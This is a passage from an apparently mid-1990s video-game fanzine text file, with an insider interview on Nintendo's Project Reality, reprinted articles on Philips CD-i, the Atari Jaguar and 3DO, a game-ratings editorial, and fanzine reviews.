Sega came from behind and Pearl harbored + us by signing with Silicon graphics as well for a future machine of their + own. Some fear that history's gonna repeat itself, since Sega is back in + the picture. If money gets exchanged again, we won't be happy campers. But + I will say that Nintendo DOES have a back up plan if such a thing happens. + No matter what, NIntendo WILL have a home system for release, weather it be + from SGI or not. + +GG: How about a release date? + +NR: No EXACT release date is set for the machine, but Nintendo targets a 3rd + quarter 1995 release. + +GG: Any games you know of coming out for the machine? + +NR: Right now, no. But SGI plans to bring out some of their current SGI games + found in the arcades. Don't forget that at the end of the year, SGI arcade + machines will be open to the public. We are talking with Argonaut right + now, hoping they will join the development team. They helped develop the + SFX chip, anyway. + +GG: Cool beaners. But what the readers want is NEW information, not stuff they + can read in the magazines. Spill your guts!! + +NR: naturally, I am limited to what i can say, Mike, but I will give it a shot. + A SNES version of Super Street Fighter 2 is in the works, and also a MK2 + is set for the SNES! Right now, 5 games using the SFX chip are under + development, besides Stunt Racer FX. Releases should begin in the second + half of the year. And the SFX chip in those games are NOT the same as the + chip in Star Fox. The new SFX chip is a 21 MHz processor, which helps + improve on the formula. Some games are Star Fox 2, which should be 32 megs + and 2-player simultaneous play, Power Slide, Dirt Racer, and Citadel. + +GG: Will you be at the Summer CES when Nintendo debuts some new hot games? + +NR: I wish! I never made it to a CES yet, but I plan on taking time off to get + a plane and head for the summer show. Not as a representative, but as any + other visitor. + +GG: Have anything else you would like to add to the interview? + +NR: Yeah, I want to say that I appreciate being in your fanzine. Magazines get + tipped to praise almost every game they review. Fanzines are honest with + the games they are approached with and aren't afraid to say they suck. + And as for your old man, I want to publicly call him a traitor (as a + joke). AT&T is now working with Sega to make that modem crap piece..what + is it..the Edge 16. Nintendo's future modem/network units in Japan will + kick ass. I saw the details but I won't tell them just yet. + +(Interview conducted by Michael Hrusecky) + +------------------------------------------------------------------------------ + + + PHILIPS CD-I COMES OF AGE AS A GAME MACHINE AND MORE + CD-I Sales on the Rise Following Infotainment Blitz + Chuck Miller + +Following a successful holiday commercial blitz, Philips CD-i seems finally to +be gathering momentum as competition heats up with other CD-based platforms +from The 3DO Company, Sega and Commodore. Sales of CD-i players outsold other +CD-based systems during the last quarter of '93 by as much as 18 to 1. This is +significant in a platform that has been slow to catch on. However, 1994 looks +like a good year for CD-i owners, especially those interested in gaming. + +--I Like Your Figure + +According to figures presented by Philips at a special press event held at the +Winter Consumer Electronics Show (WCES), there are currently 300,000 CD-i +units in consumers' hands. The goal for '94 is to bring the total number of +units sold to 1,000,000! If this is reached, CD-i will be established at a +viable growth point to insure its continued success. From the quality of titles +shown at WCES, and based upon the newer value priced players being offered, +this goal looks attainable. The reason for this growth is that Philips is +finally pushing CD-i as an entertainment system, rather than as an edutainment +and infotainment product only. + +--Like, I Dig Your Hardware, Man + +The cost of CD-i ownership has just dropped significantly with two new units +being offered by Philips and Magnavox. The Philips CD-i 220 Player, supplied +with a wireless remote Thumbstick controller, retails for $499. The Magnavox +unit, the CD-i 200 Player, comes with the same remote for $399. Both accept +Philips Digital Video Cartridge (DVC) providing full screen, full motion +video for $249.95. Offering a new level of video quality in CD-i games and +making access to Video CD and music videos a simple affair, the DVC is a must +have accessory. At present, 30 movies are available on CD with hundreds more +on the way from Paramount and MGM. + +--Being in Full Control + +In addition to the included remote, several other controllers are available. +Of course, there's that large, gaudy Roller Controller designed for kids. +However, several other devices are more worthy add-ons. New is the Touchpad, a +joypad similar to those accompanying game consoles (it looks almost identical +to the Gravis PC Gamepad) that is ideal for action titles. Two Touchpads can +be used at one time for multiplayer games. Also new is the Trackerball, a +trackball variation, and the Mouse and Mouse Pad. Still in development is a +handy wireless remote gun controller, ideal for titles like Mad Dog McCree. + +--It's All Fair Game + +Of course, of greatest interest to us is the quality and quantity of game +titles in the works. Though games for CD-i are not as plentiful as those for +PC CD-ROM, there is still a large body of exciting titles in development with +some presently available. Titles you can nab right now (with some set to ship +imminently) include: Voyeur, Kether, Inca, Caesars World of Boxing, Inter- +national Tennis Open, Escape from Cybercity, Link: The Faces of Evil, Zelda: +The Wand of Gamelon, Mystic Midway: Rest in Pieces, Battleship, Alice in +Wonderland, and Alien Gate. Many more titles are due to ship over the next few +months. + +--Brought to You by DVC + +Several key games titles to watch for on CD-i require the new Digital Video +Cartridge. These are: Mad Dog McCree, The 7th Guest, Space Ace, Microcosm, +and Litil Devil. Of these games, Mad Dog, Microcosm and 7th Guest are the most +visually stunning. The quality of the full screen, full motion video is +unsurpassed on any CD platform at present. There is simply no comparison with +the smoothness of movement and picture image that these CD-i titles provide. +Yes, there is the additional cost of the DVC module, but the quality of game +play is worth it. Besides, having the DVC will allow you to view Video CD +movies. + +--And the Titles Keep Rolling By + +One other game shown in early development was Creature Shock. This title, +featuring full 3D rendered graphics (of 3D Studio quality), was absolutely +amazing. An action/adventure title, Creature Shock is the kind of game that +will sell CD-i players. It looks that good! Yet, there are quality titles in +development the DO NOT require the DVC. One in particular is Zelda's Quest. +With the feel and game play of the original NES Legend of Zelda, this game +will capture many gamers with its photorealistic imagery and design similarity +to the aforementioned title. Zelda fans will find this title a must addition +to their game library. + +--What the Future Holds + +Of course, the future of CD-i, and all the new platforms, is dependent on the +percentage of market share gained and the overall acceptance of the platform +by consumers. Though it is next to impossible to pick a winner in the CD-based +player market at present, I believe that CD-i has as good a chance as any of +succeeding, and a better chance than most. Time will certainly tell. However, +if I were to buy any system right now (CD-i, 3DO, CD32, Sega CD/CDX, or +Jaguar), dollar-for-dollar, I would probably go for CD-i. Still, I think I'll +wait just a bit longer and see what develops by Summer of '94 at the Summer +Consumer Electronics Show. + +The previous article was taken from the Prodigy Interactive Service. + + +------------------------------------------------------------------------------ + + + ATARI STRIKES BACK + 64-bit Jaguar Unleashed on Video Gaming Public + Jeff James + +Once the dominant force in video gaming, Atari has had to sit on the sidelines +and watch Sega and Nintendo fight it out for the hearts, and allowance money, +of video gamers the world over. Now, after years of inactivity in the video +gaming market (with the exception of the Lynx handheld), Atari returns with a +new 64-bit video game system: the Jaguar. Using a 64-bit data bus and multiple +RISC processors, the Jaguar leaps past current 16-bit systems. + +--Enter the Jaguar! + +According to Atari Communications Director Bob Brodie, the Jaguar ($249 retail) +is was test marketed in 2 areas for the Christmas 1993 season: New York and San +Francisco. Only 50,000 Jaguars will be produced for the 4th Quarter of 1993, +with Atari planning to ramp up production dramatically in 1994. Brodie said +that an "extraordinarily limited number" of Jaguars will be available at the +Incredible Universe superstore in Dallas, TX. For consumers outside of those +markets, Brodie mentioned that a limited supply of Jaguars will be made +available via Atari's customer service department. + +--Tom and Jerry + +So what makes the Jaguar so special? If the Jaguar's 64-bit bus is what gives +it fast "legs," the custom graphics hardware gives the Jag it's bite. There are +5 processors spread across 3 individual chips; the 2 most powerful are named +"Tom" and "Jerry." Tom contains 3 processors: a 32- bit, 27 MIPS graphics +processing unit (GPU), a bit blitter, and an object processor. Tom handles +graphics and animation, and is able to perform complex computer animation tasks +quickly. Jerry consists of 2 processors: a 32-bit RISC chip and a digital +signal processor (DSP) for 16-bit, CD-quality stereo audio. + +--A Need for Speed + +Finally, Tom and Jerry are joined by a 13.3 MHz Motorola 68000 processor which +acts as a general purpose control processor. All of this custom graphics hard- +ware is tied together with a 64-bit data bus, which Atari claims will support +a data throughput of an astonishing 106.4 Megabytes per second. The combination +of a speedy data bus with multiple RISC processors gives the Jaguar the ability +to display 24-bit true-color images with up to 16.7 million colors. Atari also +claims that Jaguar can perform more than 850 million pixel changes per second, +compared to the 3DO's 64 million and 1 million each for the SNES and Genesis. + +--Hardware Heroics + +The Jaguar also features some advanced hardware-based animation capabilities, +comparable to those found in Panasonic's 3DO Interactive Multiplayer. Support +is included for: texture mapping (wrapping an image on a 3D object); +transparency (for realistic glass, smoke and fog effects); morphing (a la' +Terminator 2); warping (for the quick twisting and distortion of objects); +and light sourcing (for realistic shading and lighting effects). All of these +animation capabilities combine to give the Jaguar the processing muscle to move +and animate graphic objects smoothly and quickly. + +--The Packing List + +The Jaguar comes with one cartridge slot; using an image compression technique +known as "JagPEG" (a variation on the JPEG compression format), programmers can +squeeze up to 6 Megabytes (48 Megabits) of program data onto a single Jaguar +cartridge. Cartridge data can be loaded into the main memory of the Jaguar, +which consists of 2 Megabytes (16 Megabits) of main system RAM. One 17-button +controller and a cartridge game Cybermorph (developed by Attention to Detail) +are also included. There are 2 controller ports included, and a ComLynx I/O +port allows players to connect several Jaguars (or Atari Lynxes) for multi- +machine, multi-player games. + +--The Expanding Universe (Jaguar Peripherals) + +Brodie says that Atari will ship a multi-spin CD-ROM drive for the Jaguar +"after mid-1994." The CD-ROM drive, projected to be in the $200 range, will +offer support for music CDs, CD+Gs, Kodak Photo CDs and Jaguar CD games. +Brodie also mentioned that a forthcoming MPEG-II cartridge would allow the +Jaguar to support the new Video CD format, which packs 74 minutes of VHS- +quality video on a standard compact disk. Atari also plans to introduce a +Virtual Reality headset and a high-speed serial interface (to allow players to +play games over standard telephone lines) in late 1994 or early 1995. + +--Starting Small + +According to Brodie, only 4 cartridges were available and shipping for the +Jaguar by the end of November: Cybermorph (bundled with the system), Trevor +McFur in the Crescent Galaxy (Atari), Raiden (Imagitec Design), and Evolution: +Dino Dudes (Imagitec Design). Tiny Toon Adventures (Atari) and Checkered Flag +II (Rebellion Software) were to have been available before Christmas 1993. More +titles are coming in 1994, including: Club Drive (Atari), Alien vs. Predator +(Rebellion Software), Kasumi Ninja (Atari), Tempest 2000 (Atari), Battlezone +2000 (Atari), Steel Talons (Atari) and Sports Games (Atari). + +--Bubsy, Barkley, and Brett Hull + +Although the current selection of Jaguar games is decidedly sparse, several +notable software developers have promised support for the Jaguar. ID Software +(creator of the popular Wolfenstein-3D for MS-DOS computers) is planning to +port their forthcoming Doom game to the Jaguar sometime in 1994. Accolade has +announced that it will develop five games for the Jaguar in 1994, including Al +Michaels Announces Hardball III, Brett Hull Hockey, Bubsy: Claws Encounters of +the Furred Kind, Charles Barkley Basketball, and Jack Nicklaus Power Challenge +Golf. + +--Return to Zork, Spock + +Adventure game publisher Activision is planning to bring out a version of +Return to Zork for the Jaguar CD in 1994, with a possible conversion of +Mechwarrior II: The Clans to follow. Interplay (developer of Battle Chess and +Star Trek: The 25th Anniversary for MS-DOS computers) is gearing up to produce +a CD title (possibly Battle Chess) for the Jaguar CD under the Atari label. + +This list of developers is a small one, and most of the games will be released +in mid-to-late 1994. A more difficult challenge may be convincing consumers +that Atari is in for the long-term to support the Jaguar. + +--Pricing to Ponder + +Although the Jaguar's $250 retail price places it well with in the price range +of prospective SNES and Sega buyers, the addition of the $200 Jaguar CD-ROM +drive will push the Jaguar squarely into the price range of Commodore's Amiga +CD32 ($399) and a few hundred dollars under Panasonic's $699 REAL 3DO system. +The CD32 has been selling strongly in the UK and Europe over the past few +months, backed by a lengthy list of talented UK developers. And with new 3DO +players set to arrive from Sanyo and AT&T over the coming months, market +pressure should drive the price of a 3DO compatible system into the $500 price +range. + +--CES: Brawling for Bucks and Bits + +Atari announced nationwide distribution of the Jaguar at the Consumer +Electronics Show (CES) in January. Commodore unveiled the Amiga CD32 to the +U.S. market at the same show, and the 3DO company showed a promotional push as +well. Phillips has repriced their CDI (Compact Disk Interactive) system to +$499, and the two juggernauts of the video game industry, Sega and Nintendo, +will be promoting their 16-bit video game systems. What the Genesis and Super +NES lack in hardware specs will be more than compensated by their commanding +market presence, for now. + +--Sleeping Giants + +As the sleeping giants of the video game industry, Sega and Nintendo aren't +about to rest on their laurels. Both are planning to introduce new game systems +in late 1994 or early 1995. Sega is reportedly developing a 32-bit CD-based +game system (code-named "Saturn"), while Nintendo has joined forces with work- +station manufacturer Silicon Graphics to begin work on an advanced game system +with the nebulous moniker of "Project Reality." Although both systems are still +at least a year away, they do serve as a reminder that neither company intends +to surrender the multi-billion dollar home video game market without a fight. + +--Predictions + +Although it's too early to tell if the Jaguar will help Atari reassume it's +once lofty position in the video game market, the Jaguar does lay down a +gauntlet for Sega and Nintendo to follow. Regardless of which system is +eventually declared the "best," video game consumers will be the real winners, +rewarded with lower prices, more powerful game systems, and new games which +will truly take gaming "to the next level." For more information on the Jaguar, +contact Atari at 408-745-8852. + +The previous article was taken from Prodigy Interactive Service. + +------------------------------------------------------------------------------ + + THIS EDITORIAL IS RATED 'R' (READABLE) + Your PC Games, However, Might Be Another Story + Alan Emrich + +Since 1990, Computer Gaming World has been writing editorials in its pages +urging the industry to monitor the violence in its games. We have stressed the +need for computer game producers to establish a voluntary "ratings system" for +their games, labeling them on the package for sexual situation, violence, +occult subjects, and so forth. Allow me elaborate and express my own concerns. + +--Big Brother is Censoring You? + +Typically, the collective computer game industry chose to ignore the potential +problem of game ratings until it became a crisis (by definition, a crisis is +when you can't say "Let's forget the whole thing"). Literally, the hour before +congressional hearings were to begin the major video game manufacturers +announced a joint agreement that they would self-regulate new standards in +rating their own products for material that might not be suited for some +consumers (particularly young children). That didn't cancel the CSPAN circus +with Nintendo and SEGA taking shots at each other, but the crisis, for the time +being, has been averted. + +--The Great Debate + +What many computer gamers with access to on-line networks such as PRODIGY have +been arguing of late is, what are the implications vis-a-vis the First +Amendment to the Constitution of the United States? Is this a freedom of speech +issue? Are violent or otherwise "harmfully" explicit computer games tantamount +to pornography? Should they be censored? Should the government regulate them as +they do the airwaves on television and radio? + +The answer seems simple. Explicit computer games cannot be banned. Even if they +were pornography (which they're not), they'd still be protected by the First +Amendment. + +--Then What Do We Do With Violent Video Games? + +Computer games are most akin to movie entertainment. They're not free and a +person must make an effort to acquire and play one. Movies have long regulated +themselves away from government censorship through the MPAA ratings systems. We +are all familiar with PG-Rated movies, films with R-Ratings, and so forth. + +While some consider even that to be censorship, I don't. To me, I see it as +input -- information to help me, the consumer, make the most informed purchase +decision that I can for myself and my family. I see a rating as nothing but a +3-letter review of a film's explicit content. + +--Who'll Stop the Reign? + +Apparently, the reign of violent or other graphically explicit video and +computer games has been noticed in the unreality that is Washington, DC. +Typically, seeing our nation's leaders hold up a video game laser gun input +device as something "new" and threatening made me want to laugh and cry at the +same time. Our family's Magnavox Oddesy video game unit (can you say Pong?), +back in the 70's, had a "gun" input device, for goodness sake! This is hardly +a new technology. And if its effects are so detrimental, why am I writing this +instead of planning and committing heinous acts of violence against society? I +think I know the answer... + +--Knowing Fake Real from Real Real + +Imagine a cartoon cat. Pick any one you like: Tom, Sylverster, Top Cat (am I +showing my age, or what?). Now think back at some of their cartoon antics. Some +of them were downright violent, wouldn't you say? + +Now picture a household cat. Here, kitty, kitty. It plays, sleeps, meows, eats +and does other natural feline things, right? So, a child grows up with both in +his living room, Tom (of Tom and Jerry fame) and Fluffy, the household cat. + +--Okay, so here's the $36 question: + +Why is it that people don't believe that a child can suspend their disbelief +to enjoy a cartoon? Children know how real cats behave -- that they don't talk, +for instance, or blow up mice with bombs and guns. If a child does, it is far +more likely to be a problem with the child than with the medium of cartoons. + +Then why do people assume that when kids play games with Kung-Fu-Kick-'Em-In- +The-Crotch action that they will grow up thinking that is how you are supposed +to greet total strangers? Kids see others shake hands and exchange hugs, as a +rule, not roundhouse kick total strangers on the street. + +--How Do You Stop the Kids from Playing Them? + +What bothers me about this whole tempest in a teapot is that while, yes, the +game producers would be acting responsibly to provide consumers some game +rating information, there is no reason for the government to intervene. As it +is with movies, it is the {parents} who are responsible for their child's +upbringing, not congress. Parents must teach their children right from wrong, +instill values in them, show them love and nurture them to be good people and +citizens. Parents are responsible for what their kids watch and play, not +congress. This is a private family matter, not one of the nation's future +mental health. + +--Relax + +I believe that a rating system for computer games would be a "good thing." It +will help consumers (particularly parents) make informed buying decisions. +Having congress usurp parental responsibility, however, is not a good thing. +If congress would start treating parents as adult human beings, rather than +entities whose votes and taxes they try to get more and more of, we could all +take care of ourselves just fine, thank you very much. + +The previous article was taken from Prodigy Interactive Service. + +------------------------------------------------------------------------------ + _ _ ____ _ _ _ ____ + ||| Atari | | / |/ ___\| | | | / | _ \ + ||| | | / | | __| | | | / | |_| | +/ | \ /| | |/ / | | |_ | | | |/ / | _ < + | |_| / _ | |__| | |_| / _ | | \\\ + \___/_/ |_|\____/ \___/_/ |_|_| \\\ + \\\ + +My GOD we have a lot of information about the Jaguar for you all to enjoy. +Specs, games, etc, have all come from different sources, so we do not take +FULL credit. But lots of this information might not be public knowledge. +If info is inaccurate, we don't take responsibility for it. + +ATARI JAGUAR SPECIFICATIONS + +Size: 9.5" x 10" x 2.5" + +Display: Resolution 800 x 576 pixels max + 24-bit display with 16,777,216 colors simultaneously + +Ports: Cartridge slot/expansion port (32 bits) + RF video output + Video edge connector (video/audio output) + Two controller ports + Digital Signal Processor port + +Controllers: Eight-directional joypad + Size 6.25" x 5" x 1.6", cord 7 feet + Buttons A, B, and C + Pause and Option buttons + 12-key keypad + +--THE 5 PROCESSORS SPECIFICATIONS-- + +"Tom"-- 32-bit RISC architecture + 64 registers of 32 bits wide + access to all 64 bits of the system bus + reads 64 bits of data in one instruction + 26.6 MIPS (million instructions per second) + 4K bytes of SRAM + produces high-speed graphic effects + +Object processor-- + + 64-bit RISC architecture + processor acting as many video architectures, such as a sprite + engine, a pixel-mapped display, a character-mapped system + +Blitter-- + 64-bit + DRAM memory controller + +"Jerry"-- + 600,000 transistors, 144 pins + Digital Signal Processor + 32 bits (32-bit registers) + 26.6 MIPS (million instructions per second) + 8K bytes of SRAM + CD-quality stereo sound (16-bit stereo) + +Motorola 68000-- + + Rated at 13.3MHz + General purpose control processor + +Communication is performed with a high speed 64-bit data bus, rated at 106.4 +megabytes/second. The Jaguar has two megabytes DRAM. Game cartridges can hold +up to six megabytes (48 megabits) of compressed information. The Jaguar uses +JagPEG, a variation of the JPEG compression format. + +MISC FEATURES-- + Support for ComLynx I/O for communications with the Atari Lynx hand-held + game system and networked multiconsole games (on DSP port, accessible + by optional add-on connector) + + The two controller ports can be expanded to support Digital and analog + interfaces + + -Expansion port allows connection to cable TV and other networks + -9600 baud, RS-232 serial port (accessible with optional interface) + +The Jaguar is able to perform: + + -High-speed scrolling + -Texture mapping + -Morphing + -Scaling + -Rotation + -Skewing of sprites and images + -Lighting and shading from multiple light sources + -Transparency + -Rendering up to 850 million one-bit pixels/second + -Sprites are of unlimited size + +A double speed CD-ROM drive has been announced for release in mid-1994, with +an estimated price of $200. It is reported that the CD-ROM drive is capable +of transferring data continuously at 350K per second, or run at normal audio +rates of 175K per second. Access time is 300-350 milliseconds. Storage on a +disc should be approx 700 megabytes (uncompressed). The CD-ROM drive plugs +into the Jaguar's cartridge slot on top of the machine, and offers a cart- +ridge slot to permit playing cartridge or CD games, the cartridge port is +accessible while using the CD-ROM drive. + +The Jaguar CD-ROM supports audio CDs, Karaoke CDs, CD+Graphics, and Kodak +Photo CDs. An optional MPEG2 (Motion Picture Experts Group) compression cart- +ridge will be available. + +Here's the latest list of Atari Jaguar 3rd party companies: + + Anco Software Ltd. Maxis Software Telegames + Beyond Games Inc. Microids Tiertex Ltd. + Dimension Technologies Midnite Software Inc. Titus Eurosoft + Ocean Software Ltd. Tradewest High Voltage Software + Rebellion Software Trimark Interactive Krisalis Software Ltd. + Virtual Experience U.S. Gold Ltd. Loriciel U.S.A. + Silmarils Millenium Park Place Productions + Ubi Soft Gremlin Software Microprose/S. Holobyte + Accolade Virgin Interplay + 21st Century Software Activision Id Software + Phalanx Software Brainstorm 3D Games + All Systems Go Argonaut Software Euro-Soft + ICD Incorporated Photosurrealism DTMC + Llama Soft V-Real Productions Elite + Attention to Detail Hand Made Software Imagitec Design + + +GAME Developer Titles under development +---------------------------------------------------------------- + 21st Century Software - Pinball Fantasies + 3D Games + Accolade - Al Michaels Announces Hardball + Brett Hull Hockey + Busby in Clawed Encounters + of the Furried Kind + Charles Barkley Basketball + Jack Nicholas Golf + Activision - Return to Zork CD-ROM + All Systems Go - Hosenose and Booger + Jukebox + Anco Software Ltd. - Kick Off + World Cup + Argonaut Software - UNKNOWN CD-ROM + Atari Corp. - Battlezone 2000 + [Crescent Galaxy] + Club Drive + MPEG 1 and 2 carts + Star Raiders 2000 + Tiny Toons Adventures + VR Helmet + Atari Games Corp. + Attention to Detail - Battlemorph: Cybermorph 2 + Blue Lightning + (For Atari Corp.) [Cybermorph] + Brainstorm - [x86 Jaguar Development System] + Beyond Games Inc. - Battlewheels + Ultra Vortex + Dimension Technologies + DTMC + Eurosoft + Gremlin Graphics Ltd. - Zool 2 - MORE + Hand Made Software - (For Atari Corp.) Kasumi Ninja + High Voltage Software + id Software - Doom: Evil Unleashed + Imagitec Design Inc. - [Evolution Dino-Dudes] + [Raiden] + Interplay - BattleChess CD-ROM (MORE?) + Krisalis Software Ltd. - Soccer Kid + LlamaSoft - (For Atari Corp.) Tempest 2000 + Loricel S.A. + Maxis Software + Microids - Evidence + Commando + Microprose - 3D Gunship 2000 - MORE SIMULATIONS + Midnite Software Inc. - Car Wars + Dungeon Depths + Millenium Interactive Ltd. + Ocean Software Ltd. + Park Place Productions - UNKNOWN TITLE (American Football) + Phalanx - Phong 2000 (Space?) + Rebellion Software Ltd. - (For Atari Corp.) Alien vs. Predator + Checkered Flag II + Dungeon + Silmarils - Robinson's Requiem + Telegames - Brutal Sports Football + Casino Royale + European Soccer Challenge + Ultimate Brain Games - MORE? + Tiertex Ltd. + Titus + Tradewest - Double Dragon 4 - MORE + Trimark Interactive + U.S. Gold Ltd. - Flashback + UBI Soft International - Jimmy Connors Pro Tennis - MORE + V-Real Productions - Arena Football + Horrorscope + Virgin Interactive + Entertainment Ltd. - UNKNOWN ("Movie title") + Virtual Experience - Indiana Jags + Zozziorx (MORE?) + +Game titles provided by Atari. +------------------------------------------------------------------------------ + ___ ___ _ _ ___ ___ __ _ _ _ ____ +| \ | | | \ | | | | / \ / \ | \ | | | | / ___| +| O | | O | | |\\ | | | O | | | /\ | | |\\ | | | | | / +| _/ | ___ | | | \\ | | | ___ | \____ | | | | | | \\ | | | | | | +| | | | | | | | \\| | | | | | \ | \/ | | | \\| | | | | \___ +|_| |_| |_| |_| \__| |_| |_| \____ / \ __ / |_| \__| |_| \ ____| + + _______ ___ ___ + |______ \ | \ / \ + \ | | _ \ | ___ | + ___/ / | | \ | | | | | + |___ \ | |_/ | | |___| | + ______\ | | / | | + |_______ / |___ / \ ___ / + + + GLOBAL LAUNCH MULTIPLE BRANDS + MORE THAN 200 TITLES IN DEVELOPMENT + + The 3DO Company today announced plans to launch the 3DO Interactive Multi- +player system worldwide in 1994 with multiple hardware manufacturers as +partners. At the Winter Consumer Electronics Show (WCES), 3DO said the +library of software titles for the 3DO system continues to grow. Eighteen +software titles are currently available in stores nationwide, more than 200 +titles are in development, and the company anticipates that more than 100 new +titles will ship in 1994. Twenty-three 3DO licensees showcased 43 titles at +WCES. (See below list.) AT&T unveiled three 3DO products for U.S. distribution +in the fall: a CD-based 3DO Interactive Multiplayer system; the VoiceSpan +adapter that connects to any 3DO Interactive Multiplayer system, so users can +play software titles remotely with other players while talking over regular +telephone lines; and a 3DO Interactive Multiplayer system with built-in AT&T +VoiceSpan capabilities. Sanyo announced plans to release a 3DO system in +Japan later this year, and said it is evaluating the timing of its U.S.launch. +3DO also announced the creation of a software ratings system designed to +provide consumers with the information they need to make informed decisions +when purchasing software. Titles for the 3DO system are expected to begin +carrying the 3DO-designed ratings symbols in March 1994. + +"We're well positioned to set the next consumer electronics standard and 1994 +will be our year to make significant progress in reaching that goal," said +Trip Hawkins, president and CEO, The 3DO Company. "Our mission in 1993 was to +capture the beach; we had an ambitious set of goals and we accomplished +everything we set out to do." The REAL 3DO Interactive Multiplayer system, +launched by Panasonic in October 1993, is currently sold through more than +2,000 retail outlets nationwide. 3DO anticipates that four brands of the +CD-based system will be available by fall of this year. "Consumer response to +3DO has been outstanding. The 'innovators' - consumers who appreciate new +levels of performance and the interactivity provided by the 3DO system - have +confirmed that we have a winner," Hawkins added. The CD-based 3DO system will +be available in Europe and Japan by the summer, and multiple brands will be +distributed through more than 30,000 retail outlets worldwide by fall. The +3DO Company, which formed 3DO Japan in July 1993, will open a European office +this spring to support the growing number of European licensees. + +"3DO is moving rapidly to establish a worldwide standard," Hawkins said. "Our +licensees are confident our technology will succeed in a global market this +year, and we're doing everything we can to support them." Underscoring the +growing support of the software community, more than 100 companies have +become 3DO licensees since the 3DO Interactive Multiplayer came to retail +shelves in October 1993. "Software industry support for 3DO continues to +build," Hawkins said. "3DO has delivered a technology and a way of doing +business that the software industry believes in, and that's why we have the +largest number of companies ever dedicated to a platform. With 3DO, software +companies have the advanced technology they want to develop for and a fair +way of doing business that allows all players to win. "Our licensees are +investing significant amounts of their own money in 3DO technology, which is +a meaningful vote of confidence for the 3DO platform," Hawkins added. + + The 3DO system delivers a breakthrough in audio and video realism with +interactive software that appeals to the audiences of all ages, bridging the +gap between video game systems and home computers. The 3DO Interactive +Multiplayer system provides up to 50 times the graphics performance of +standard PCs and video game systems. Designed to be a worldwide standard like +VHS, the 3DO Interactive Multiplayer system also plays music CDs, photo CDs, +and video CDs. Based in Redwood City, Calif., The 3DO Company (NASDAQ:THDO) +is backed by a unique coalition of partners from consumer electronics, +communications, entertainment and software industries. Investors include +Matsushita Electric Industrial Co., the world's largest manufacturer of +consumer electronics and parent of Panasonic, National, Quasar, and Technics; +AT&T, one the world's leading communications and computer companies; Time +Warner, a leading media and entertainment company; Electronic Arts, the +leading entertainment software publisher; and Silicon Valley venture capital +firm, Kleiner Perkins Caufield & Byers. + +The following companies are showcasing their 3DO titles for the 3DO +Interactive Multiplayer at the Winter Consumer Electronics Show, January 6-9, +in Las Vegas: + +American Laser Games- Who Shot Johnny Rock? +Crystal Dyamics- Crash 'N Burn + Total Eclipse + The Horde + Star Control II + Orion Off-Road +Digital Pictures- Night Trap +Dynami- Stellar 7: Draxon's Revenge +Electronic Arts- A Visit to Sesame Street: Numbers + Escape from Monster Manor + John Madden Football + Peter Pan: A Story Painting Adventure + PGA TOUR Golf + Road Rash + Shock Wave: Invasion Earth 2019 + Super Wing Commander + Theme Park + Twisted:The Game Show +GameTek- Family Feud +Humongous Ent.- Putt-Putt Goes to the Moon +Intellimedia- ESPN Baseball + ESPN Football + IntelliPlay Cowboy Casino + Lower Your Score with Tom Kite +Interplay- Out of this World + Battle Chess +MCA Home Video- Woody Woodpecker Cartoons +MicroProse- C.P.U. Bach + Naughty Dog + Way of the Warrior +ORIGIN- Super Wing Commander +Paramount- Rock, Rap 'N Roll 2 +PF.Magic- PaTaank +Psygnosis- Lemmings +ReadySoft- Dragon's Lair +Sanctuary Woods- Dennis Miller That's News to Me +Software Toolworks- 20th Century Video Almanac + The San Diego Zoo Presents...The Animals! +Spectrum Holobyte- Star Trek: The Next Generation +Tetragon- Gridders +Universal Studios- Jurassic Park Interactive +VideoactV- ToonTime +Virgin- Demolition Man + +The previous article was provided by America Online. + +----------------------------------------------------------------------------- + + F A N Z I N E + C R O S S F I R E + _________________________________________ ____________________________ +| Have a fanzine or newsletter that needs | | GAME GURU | +| attention? Send a copy to the return | | -FANZINE SEAL OF QUALITY- | +| address and you'll get to see your very | |This marker ensures these | +| own name appear in here along with a | |fanzines are worth writing | +| review of your fanzine/newsletter! | |about. Accept no imitations | +`-----------------------------------------' `----------------------------' +______________________________________________________________________________ +D I G I T A L P R E S S| P A R A D O X |THE GOOD, THE BAD, AND THE + DP # 16 | Issue 13 1/2 | 8-BIT + $1.50 | $1.00 | Issue #5 $1.00 + Joe Santulli | Chris Johnson | Brian Pacula + 44 Hunter Place | 316 E. 11th Ave | 33 Florence Ave. + Pompton Lakes, NJ 07442 | Naperville, IL 60563 | Mill Valley, CA 94941 + | | +Wow, Digital Press has |Before I begin the review|Edited and published by +finally his the 16th ish |for this great issue of |Brian Pacula, and ONLY +and I can easily say they|PARADOX I will add a tiny|brian Pacula, TG, TB & T8B +are still leading the |bit of insult to injury. |shows a true attempt at +competition. After plying|YES PETTIBONE, HERE'S |what one person alone can +the staples off the zine |ANOTHER FANZINE WITH |do to create and distri- +to open it, and cutting |FACTS, SOMETHING YOU ONLY|bute a fanzine on their +myself in 2 spots the 1st|SEEM TO HAVE A PROBLEM |own. Your effort is truly +thing that hit me was the|WITH WHEN I PUBLISH THEM.|applauded, Brian. This zine +great art which Joe drew |SEXIST ARE WE? JUST A |covers all systems and +portraying Clay Fighters |LITTLE? GET YOUR LIFE TO-|makes key point observa- +own larger than life "Bad|GETHER. SUPER EFFECT WAS |tions when it comes to VG +Mr. Frosty" towering over|ONLY A FANZINE, NOT SOME-|companies pushing games or +a pile bodies. I knew I |THING FOR YOU TO TRY TO |just simply being idiots +had to investigate |CREATE A FIGHT OVER. IF |for doing something bad. +further. Digital Press |YOU WANT TO COMPLAIN |What is written is good +covers virtually every |ABOUT PRINTING FACTS, YOU|reading, but the fanzine in +corner of the Video Game |HAVE AN AWFUL LOT OF |whole looks a bit plain. +world, even the old Atari|PEOPLE TO COMPLAIN TOO. |Find a way to use paper +systems. DP knows when to|GIVE UP THE IMMATURITY, |space wisely, cause there +get serious, and also |CUZ NO ONE'S LISTENING TO|is a lot of extra space. +knows how to amuse and |YOU ANYMORE. |The MK2 coverage was quite +get the interests of | |readable, and should be +gamers, as shown in |This was my first issue |looked into by MK2 fans. +"Bonus Points". All games|of Paradox I've ever got-|There were 16 games re- +reviewed in DP seem to be|ten and I was impressed |viewed, and all used common +well organized and to-the|right from the start. The|sense and some humor when +-point. (Mr. Pettibone, |cover featured SF II |it's needed. +DP gets VERY technical in|characters -vs- MK chara-| +some areas, who only |cters. Excellent job. |The Good, the Bad, and the +bitch to Jan when she |There are tons of news |8-Bit is a true example +gets technical?) The |and opinion columns for |that you should not judge +Science Lab Report was |everyone. Most of the |a book by its cover. There +interesting, but I'd |opinions hit right on the|is a lot inside for many +rather stick to buying |nail with my own views. |gamers. It IS worth +the $20 converter instead|Do we think alike? |checking into! +of 